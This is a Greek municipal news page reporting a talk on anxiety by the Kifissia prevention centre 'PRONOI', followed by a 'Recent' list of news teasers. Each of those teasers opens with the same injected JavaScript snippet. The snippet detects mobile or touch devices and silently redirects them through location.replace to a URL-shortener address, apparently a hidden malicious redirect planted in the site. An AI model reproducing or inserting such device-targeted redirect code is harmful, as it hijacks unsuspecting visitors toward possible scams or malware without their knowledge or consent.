Ομιλία για το άγχος από το Κέντρο Πρόληψης «ΠΡΟΝΟΗ» του Δήμου Κηφισιάς


Την Τρίτη 14 Μαρτίου πραγματοποιήθηκε μία εξόχως ενδιαφέρουσα ομιλία με θέμα «Άγχος: Φίλος ή Εχθρός;» από την κ. Σώτια Μακαρώνη, ψυχολόγος Υγείας MSc – ψυχοθεραπεύτρια, Υποψήφια Διδάκτωρ Ιατρικής Σχολής Πανεπιστημίου Αθηνών, Επιστημονικώς Υπεύθυνη του Κέντρου Πρόληψης ΠΡΟΝΟΗ.

Η ομιλία διοργανώθηκε με πρωτοβουλία της προέδρου του Διοικητικού Συμβουλίου Αγγελικής Βαλασοπούλου, σε συνεργασία με το Ecali Club και την παρακολούθησαν περίπου 60 άτομα, μέλη του Ecali Club, δημότες της Κηφισιάς, αλλά και μέλη των ομάδων του Κέντρου Πρόληψης «ΠΡΟΝΟΗ».

Τα θέματα που αναπτύχθηκαν ήταν τα ακόλουθα:

  • Τι είναι το άγχος;
  • Ποιες οι διαφορές άγχους και στρες;
  • Είναι δυνατόν να μην έχουμε στρες και άγχος;
  • Τι επιπτώσεις έχει το άγχος στη σωματική και ψυχική μας υγεία.
  • Τι μπορούμε να κάνουμε για να διαχειριστούμε αποτελεσματικά το άγχος μας;

Στην εκδήλωση παραβρέθηκε όλη η επιστημονική ομάδα του Κ.Π. «Προνόη», καθώς και τα μέλη του Διοικητικού Συμβουλίου, η πρόεδρος Α. Βαλασοπούλου, η αντιπρόεδρος Λ. Αλιπράντη, η επίτιμη πρόεδρος Α. Πιτίδη-Τριανταφύλλου, τα Μελη Ζ. Σταματούρου και Ε. Κωνσταντιάδη, η πρόεδρος του Ν.Π.Δ.Δ «Δημήτριος Βικέλας» Νίνα Βλάχου, η πρόεδρος του Συλλόγου Κηφισιωτών Β. Τσαλαβούτα, μέλη του προεδρείου του Εξωραϊστικού Συλλόγου Εκάλης, η κ. Καπετανάκη, πρώην πρόεδρος και νυν δημοτική σύμβουλος και άλλοι πολλοί.

Πρόσφατα

Κηφισιά: Αναβαθμίστηκε ο προαύλιος χώρος του Δημοτικού Παιδικού Σταθμού «Σοφία Γκίκα» – Πιο όμορφο και ασφαλές περιβάλλον για τα παιδιά

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Έναν αναβαθμισμένο και ακόμη πιο ασφαλή χώρο...

Προφυλακίστηκαν ο Δήμαρχος Στυλίδας και ακόμη τρία άτομα για την υπόθεση των καταστροφικών πυρκαγιών

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Τον δρόμο για τη φυλακή πήραν, μετά...

«Παγώνει» η ναυσιπλοΐα στα Στενά του Ορμούζ – Στο ναδίρ η κίνηση, αναμένουν εξελίξεις στις συνομιλίες Ιράν – Ομάν

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Η εμπορική ναυσιπλοΐα στα Στενά του Ορμούζ...

Λαμπρός ο Πανηγυρικός Εσπερινός στον Ιερό Ναό Μεταμορφώσεως του Σωτήρος στο Κεφαλάρι

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Με τη συμμετοχή πλήθους πιστών και σε...

Red Code στην Αττική: Πολύ υψηλός κίνδυνος πυρκαγιάς σήμερα – Σε κατάσταση αυξημένης ετοιμότητας ο κρατικός μηχανισμός

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Σε κατάσταση Red Code τίθεται σήμερα, Πέμπτη...

Κηφισιά: Αναβαθμίστηκε ο προαύλιος χώρος του Δημοτικού Παιδικού Σταθμού «Σοφία Γκίκα» – Πιο όμορφο και ασφαλές περιβάλλον για τα παιδιά

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Έναν αναβαθμισμένο και ακόμη πιο ασφαλή χώρο παιχνιδιού και δημιουργικής απασχόλησης διαθέτουν πλέον τα παιδιά που φιλοξενούνται στον Δημοτικό Παιδικό Σταθμό «Σοφία...

Προφυλακίστηκαν ο Δήμαρχος Στυλίδας και ακόμη τρία άτομα για την υπόθεση των καταστροφικών πυρκαγιών

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Τον δρόμο για τη φυλακή πήραν, μετά τις απολογίες τους, ο Δήμαρχος Στυλίδας και ακόμη τρία άτομα που κατηγορούνται για την υπόθεση...

«Παγώνει» η ναυσιπλοΐα στα Στενά του Ορμούζ – Στο ναδίρ η κίνηση, αναμένουν εξελίξεις στις συνομιλίες Ιράν – Ομάν

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/yRelosbga0r0"); Η εμπορική ναυσιπλοΐα στα Στενά του Ορμούζ εξακολουθεί να κινείται σε εξαιρετικά χαμηλά επίπεδα, καθώς η αβεβαιότητα γύρω από το ενδεχόμενο επαναλειτουργίας...